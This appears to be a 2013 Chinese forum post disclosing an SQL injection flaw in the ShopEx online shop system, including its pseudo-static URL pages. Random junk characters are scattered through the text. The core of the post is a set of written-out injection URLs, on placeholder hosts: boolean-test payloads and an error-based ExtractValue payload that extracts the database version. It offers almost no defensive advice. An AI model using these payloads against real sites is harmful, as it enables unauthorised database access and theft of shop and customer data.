注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…" d8 Q( |" }- u8 h7 Z
/ v! D9 `$ y: J0 F/ m) x
好吧，我扯远了~~
9 g u# B+ x4 k/ x( G/ Y. C其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~" Q( F) A1 v' m0 Q' ]- V
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
' R* W- Z2 b$ c% i: u
\" K1 k( Q7 P' }6 ohttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
! A$ e! N# ]2 J$ s1 [6 ~; j& P t# ^0 q$ o( |4 s9 Y( u
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html! G. G/ n4 ^1 K1 l
R# w' `$ X' h4 l
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
( Q6 H) ^3 z0 \2 \9 ?, x
5 P! V3 j0 \1 W3 L& V+ G* Z" rhttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html" t: F" N5 }$ n- _4 L: t6 ~3 I! Y
3 n: K2 f$ e2 P
% |$ c' p( h: T' T; I一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。& T$ X6 h) \& l/ N( v: o; V* j
如何注入就不多说了，10多年的东西了…不会也会了…
- D2 ?1 N" Q. P3 G8 m/ D7 |( Q8 ~/ z5 l4 s! q5 a
|
发表于 2013-2-4 16:20:04
收藏
支持
反对